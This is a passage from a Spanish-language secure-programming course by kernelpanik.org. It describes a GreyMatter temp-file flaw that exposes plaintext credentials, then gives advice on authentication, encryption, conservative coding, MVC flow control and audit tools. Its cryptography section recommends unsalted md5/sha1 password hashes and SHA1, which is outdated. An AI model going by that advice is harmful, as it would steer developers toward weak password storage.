otros se ejecuten, y puedan producirse condiciones de carrera. Veámos un sencillo ejemplo
presente en GreyMatter v1.3.

Cuando GreyMatter reconstruye la sección "main entry pages", por ejemplo: un template ha
cambiado o un usuario ha presionado el botón rebuild, un fichero temporal es creado. El fichero es
eliminado una vez que el proceso ha concluido.

El fichero es creado con el nombre "gm-token.cgi", y con un formato como:

$ cat gm­token.cgi
gmXXXXXXXXXX ( donde X son números )
nombre_de_usuario
password_en_texto_plano

El fichero es creado en el directorio "archives/", con permisos 0666 . Si el directorio "archives/" no


está dentro de "/cgi-bin", o no está en un directorio con permisos cgi (ScriptAlias/+ExecCGI)
cualquiera puede recuperar este fichero con un GET sobre "archives/gm-token.cgi".

http://www.kernelpanik.org
frame at kernelpanik.org 31
Desarrollo Seguro de Aplicaciones v0.6 Beta

La solución a este tipo de errores para por la creación de ficheros temporales con nombres
totalmente aleatorios. Comprobar que los ficheros que queremos abrir no existen, y en caso de que
existan, no son enlaces simbólicos a otros ficheros, así como abrirlos en modo exclusivo para
escritura, y con los permisos más restrictivos posibles y en general diseñar pensando que nuestra
aplicación no funcionará en un entorno aislado, sino en un entorno multiusuario y multitarea.

2.3.3.- Errores en el mecanismo de autenticación

Bajo este epígrafe se agrupa un problema al que no vamos a dedicar excesivas líneas, porque bien
ya ha sido tratado con errores concretos: XSS, SQL Injection. O bien pertenece al campo del
diseño lógico. En este último campo, podemos encontrar desde identificadores de sesión
secuenciales, hasta inexistencia de mecanismos de autenticación, pasando por un amplio surtido
de debilidades como limitación de longitud de la clave, uso de sistemas de recuperación de
contraseñas ineficientes, por citar algunos.

La solución a estos problemas pasa por no cometer los errores vistos con anterioridad en la
codificación del mismo, a la par que diseñar correctamente aquellos que implementemos.

2.3.4.- Errores en el mecanismo de cifrado

Este será el último error que tratemos y bajo él agrupamos una serie de errores al implementar
sistemas de cifrado. Uso de algoritmos débiles como pueden ser RC4 o DES. Almacenaje de
contraseñas en texto plano y no de los hashes md5 o sha1 de las mismas, incluso sha-256/512 en
caso de querer ampliar el espacio de colisiones. Almacenaje de las contraseñas de cifrado dentro
de la aplicación. O uso de algoritmos de cifrado propietario cuya seguridad no ha sido contrastada.

La solución a este problema pasa por cifrar haciendo uso de algoritmos de probada calidad como
blowfish o twofish para el cifrado simético, RSA o DH para el cifrado asimétrico y SHA1 o SHA-256
para la generación de Hashes. Almacenar siempre los hashes de las contraseñas y nunca estas.
Nunca usar algoritmos propietarios de dudosa calidad. Y sobre todo nunca contener la password de
cifrado en la propia aplicación, el usuario debe ser el que la introduzca, no el sistema.

http://www.kernelpanik.org
frame at kernelpanik.org 32
Desarrollo Seguro de Aplicaciones v0.6 Beta

Desarrollo Seguro de Aplicaciones

http://www.kernelpanik.org
frame at kernelpanik.org 33
Desarrollo Seguro de Aplicaciones v0.6 Beta

Hasta este momento hemos visto un amplio surtido de errores, y hemos conseguido dar soluciones
puntuales a cada uno de ellos. Es momento por tanto de abstraernos al siguiente nivel y ver en
líneas generales y de forma sencilla una serie de técnicas y consideraciones que todo desarrollador
debe tener en cuenta a la hora de afrontar un desarrollo de software que quiera alcanzar unos
mínimos objetivos de seguridad.

Antes de entrar en técnicas concretas, daremos un rápido vistazo a Common Criteria, como
referente dentro de la definición de requerimientos y medidas que garanticen la seguridad de un
software. No obstante, un estudio en profundidad queda fuera de los contenidos de este curso,
prefiriendo dar unas ligeras pinceladas sobre ellos, para pasar a un ámbito mucho más práctico y
concreto que permita un desarrollo seguro de aplicaciones.

3.1.- Técnicas para una codificación segura.


Identificar los puntos críticos en una aplicación, minimizar el número de ellos, controlar el flujo de
ejecución, programar bajo unos criterios conservativos, realizar un desarrollo bajo técnicas de
verificación exhaustivas, así como adaptar ideas existentes actualmente en la ingeniería del
software al marco de la programación segura son las ideas sobre las que girará este epígrafe.

3.1.1- Puntos críticos en la seguridad de una aplicación

Analizar de forma pormenorizada los diferentes tipos de errores existentes en las aplicaciones ha
sido el paso previo para perminitirnos extraer una serie de patrones comunes que nos permita
generar una abstracción para conocer de antemano cuales son los puntos en los que una aplicación
puede fallar.

Partiendo de la idea que el código por si mismo no falla, al menos desde el momento que ese
código satisface unos requerimientos de corrección sintáctica y corrección funcional mínimos. Por
tanto siempre serán acciones realizadas sobre los datos las que llevaran el software a situaciones
que puedan desembocar en un fallo de seguridad. Tres son las acciones que pueden llevar a él:
entrada de datos, salida de datos y modificación de los mismos. A continuación las veremos una a
una.

3.1.1.1.- Entrada de datos

La entrada de datos es el primer punto crítico en la seguridad de una aplicación. Un incorrecto


control en los datos suministrados por el usuario provoca una variada serie de problemas para la
seguridad: desbordamientos de buffer, errores de formato o inyecciónes de código entre otras.

Verificar que las entradas de los usuarios satisfacen de forma lógica una serie de comprobaciones
sobre ellos: longitud o carácteres inapropiados entre otros, debe ser obligatorio en toda aplicación
segura.

http://www.kernelpanik.org
frame at kernelpanik.org 34
Desarrollo Seguro de Aplicaciones v0.6 Beta

3.1.1.2.- Modificación de datos

Igual que la entrada, la modificación de los datos también produce un buen número de errores de
seguridad. Esta modificación puede ser desde la concatenación de dos parámetros, al incremento
en el valor de un entero, por poner algunos ejemplos.

Verificar que la seguridad de la aplicación se mantiene consistente tras una modificación en los
datos también debe ser obligatorio en toda aplicación segura.

3.1.1.2.- Salida de datos

Por último la salida de datos, bien sea a la red por un socket, bien sea al sistema de ficheros
mediante la escritura en disco, también es responsable de un buen número de problemas de
seguridad: condiciones de carrera, almacenamiento sin cifrado o cross-site scripting por citar
algunos.

Verificar que la salida de datos se realiza satifaciendo de forma lógica unos criterios de seguridad:
inexistencia de carácteres inapropiados, atomicidad en las operaciones de escritura o aleatoriedad
en los nombres de fichero, debe ser obligatorio en toda aquella aplicación segura.

3.1.2- Medidas para una programación segura

A partir de la identificación de los puntos críticos, sumando a ello una serie de técnicas como la
programación conservativa, medidas para el control del flujo de ejecución de una aplicación y
llegando a una técnica de verificación exhaustiva, basada precisamente en la identificación de
puntos críticos, formaremos un conjunto de normas y medidas que permitan codificar programas
evitando los fallos de seguridad.

3.1.2.1.- Programación conservativa

Las medidas que aseguran una programación conservativa son las siguientes:

● Comprobar siempre el resultado de cualquier llamada a una función. Nuestro software


debe funcionar aunque se ejecute sobre circunstancias adversas: falta de espacio en
disco, falta de espacio en memoria, o cualquier otro problema que pueda acontecer. Por
tanto comprobar el retorno de una función es primordial, así como diseñar funciones que
siempre retornen información útil, y no meros valores ininterpretables.

● Dotar al programa de un sistema de logs adecuado, que permita controlar su


funcionamiento, su estado y sus errores.

● Minimizar siempre los privilegios necesarios para la aplicación y el tiempo que hace uso
de estos. Optar siempre que exista por aquella estrategia que de respuesta al problema
minimizando el número de privilegios necesarios para ello.

http://www.kernelpanik.org
frame at kernelpanik.org 35
Desarrollo Seguro de Aplicaciones v0.6 Beta

● Usar siempre rutas de fichero absolutas y fijar un directorio de trabajo que actue a modo
de límite en el árbol de directorio, impidiendo el descenso de la aplicación por debajo del
mismo.

● Ser siempre conscientes de la ejecución del proceso en un entorno multiusuario y


multitarea. Evitar las condiciones de carrera. En entornos de ejecución web, percatarnos
de que podrán existir múltiples instancias del proceso ejecutándose al mismo tiempo de
tal forma que los recursos y el acceso a los mismos deben tener en cuenta este
elemento.

● Implementar en aquellos casos en los que sea necesarios mecanismos de control de


carga, que permitan limitar el número de instancias concurrentes, el tiempo de CPU, el
espacio en disco, el espacio en memoria, etc.

● Forzar la compilación/interpretación con el máximo nivel de detalle en advertencias y


errores. Así como usar siempre que sea posible una herramienta de verificación formal
del código.

● Documentar de forma detallada el código. Esto también afecta a documentar soluciones


poco elegantes, temporales, parches momentáneos, y otras miserias que el programador
comete y no documenta.

● Abortar la ejecución del programa ante una situación irresoluble. Cuando se produzca
dicha situación grabar un log detallado y terminar la ejecución de forma limpia: cerrando
descriptores, borrando ficheros temporales, etc.

● Chequear la consistencia al inicio y a la finalización de la ejecución. Este chequeo


incluye: existencia de ficheros de configuración, existencia de paths.

http://www.kernelpanik.org
frame at kernelpanik.org 36
Desarrollo Seguro de Aplicaciones v0.6 Beta

3.1.2.2.- Control del flujo de ejecución de la aplicación

El contenido de este epígrafe está vinculado al desarrollo de aplicaciones web. En una aplicación
ejecutable convencional, el flujo de ejecución está marcado por el desarrollador. Sin embargo en
una aplicación web el flujo de ejecución puede ser modificado por la simple llamada a cada uno de
los ficheros contenidos en el servidor web.

Esta posibilidad genera una situación del todo indeseable, es decir, que la aplicación pueda ser
inicializada por un usuario en múltiples puntos hace que sea necesario un control de privilegios, de
acceso y de estado en cada uno de los ficheros que la componen. Esto, además de duplicar los
esfuerzos, hace que el mínimo olvido de estas comprobaciones en un fichero haga ese fichero un
pontencial punto de entrada inseguro a la aplicación web, que pueda explotar variables no
inicializadas, parámetros no chequeados, etc.

El correcto control en el flujo de ejecución debe conseguirse mediante un desarrollo MVC ( Modelo-
Vista-Controlador ), en el cual el único fichero accesible sea el correspondiente al controlador. El
resto de ficheros deben ser protegidos bien haciendo uso de los propios sistemas de protección del
servidor web, bien con algún método implementado en la aplicación como definición de constantes
de ejecución en el controlador, y su comprobación en cada uno de los ficheros del modelo/vista.

http://www.kernelpanik.org
frame at kernelpanik.org 37
Desarrollo Seguro de Aplicaciones v0.6 Beta

3.1.2.3.- Verificación exhaustiva: programación por celdas

La última técnica que analizaremos será la verificación exhaustiva del código. Esta técnica, a
diferencia de otras técnicas de verificación propuestas por ejemplo en metodologías como SPSMM
no fundamenta su utilidad en someter a una aplicación completa a una batería de pruebas sobre
parámetros de entrada/salida para obtener una posible lista de vulnerabilidades, sino de verificar
el código de forma exhaustiva durante el proceso de desarrollo en busca de los puntos críticos para
la seguridad, es decir, aquellas en las que se produzca una entrada, modificación o salida de datos.

Esta verificación exhaustiva es útil siempre y cuando se alcance un compromiso entre


desarrolladores de verificar diáriamente el código producido en busca de puntos críticos y
garantizar la seguridad de los mismos. La lógica subyacente es que la concatenación de zonas
verificadas y de puntos críticos en las que la seguridad ha sido garantizada originará un código
libre de errores. Esta técnica pasará a ser impracticable cuando se quiera verificar de forma
exhaustiva una aplicación ya desarrollada.

3.1.3- Ingeniería del software seguro

La ingeniería del software busca modelos de desarrollo unificados que permitan analizar y diseñar
soluciones estandarizadas. No obstante, de esta idea también podemos extraer soluciones que
incrementen la seguridad de nuestras aplicaciones.

La primera idea es la utilización de componentes. Los componentes son una herramienta de


probada eficacia que permiten una abstracción sobre determinadas tareas a la hora de desarrollar
una aplicación, así como la reutilización de los mismos tantas ocasiones como sea necesario. Un
desarrollo basado en componentes de probada calidad asegurará no sólo un menor tiempo de
desarrollo para acciones ya creadas con anterioridad, sino un mayor tiempo para pruebas y
verificaciones. Pero esta no es la única ventaja. El uso de componentes de probada calidad, con un
ciclo de vida amplio y usados en numerosos proyectos, garantiza que la seguridad de los mismos
haya sido probada y revisada con anterioridad. Paralelamente a la idea del uso de componentes,
está la de refactorizar componentes para incrementar tanto funcionalidad como seguridad.

Una vez hemos entrado en el apartado de la refactorización. Hay que garantizar que esta no afecta
únicamente a la funcionalidad del software. Es decir, que no se refactoriza código únicamente
buscando la satisfacción de los requisitos funcionales pactados con el cliente, sino que esta
refactorización afecta también a la seguridad del mismo.

Por último, y extrayéndola de la programación extrema (XP), la programación por parejas, en la


que es la pareja quien realiza la verificación exhaustiva del código generado por la otra,
incrementa la velocidad y eficacia del proceso de veficación.

http://www.kernelpanik.org
frame at kernelpanik.org 38
Desarrollo Seguro de Aplicaciones v0.6 Beta

Herramientas para la seguridad

http://www.kernelpanik.org
frame at kernelpanik.org 39
Desarrollo Seguro de Aplicaciones v0.6 Beta

4.1.- Herramientas de búsqueda y chequeo

● RATS: Rough Auditing Tool for Security

Herramienta de auditoria de código para el entorno win32, desarrollada por la empresa


securesoftware.

URL: http://www.securesoftware.com

● SPLINT

Implementación de LINT desarrollada por la univerisid de Virginia y liberada como GNU/GPL. Esta
utilidad es incluida de forma standard en la mayoría de las distribuciones GNU/Linux actuales.

URL: http://www.splint.org

4.2.- Herramientas antiexplotación


Dentro de este grupo de herramientas entran soluciones como Libsafe, Stackguard o Stackshield,
ambas soluciones en tiempo de compilación, y basadas en la modificación de la libc, bien para
asegurar las funciones contenidas en ella, bien para trabajar con técnicas de canary-stack, o bien
para usar una imagen espejo de la pila en la que chequear posibles modificaciones de la dirección
de retorno.

Paralelamente existen otras soluciones como exec-shield, W^X o GRSec, que implementan
soluciones antiejecución de pila y heap, así como randomización del espacio de direcciones para el
enlazado de librerías dinámicas.

4.3.- Mecanismos de prevención y detección de intrusiones

Bajo este epígrafe agrupamos a los IDS/nIDS/wIDS, es decir, a los sistemas de detección de
intrusos, cuya misión es la monitorización de la red en busca de patrones de comportamiento
anormales. Así como los firewall a nivel de aplicación cuya misión es la monitorización de las
conexiones al servidor web en busca de posibles ataques a este.

http://www.kernelpanik.org
frame at kernelpanik.org 40
Desarrollo Seguro de Aplicaciones v0.6 Beta

Bibliografía

● Secure Programming for Linux and Unix HOWTO. David A. Wheeler. 2003

● SPSMM 0.5.1. Victor A. Rodriguez. 2002

● SQL Injection White Paper. SPI Labs. 2002

● Smashing the stack for fun and profit. Aleph One. 1997

● Kernelpanik Labs. Varios autores. 2002-2005.

● Phrack.org. Varios autores. 1985-2005.

● Common Criteria. NIST. 1999

● Linux Security HOWTO. 1999.

http://www.kernelpanik.org
frame at kernelpanik.org 41

Anda mungkin juga menyukai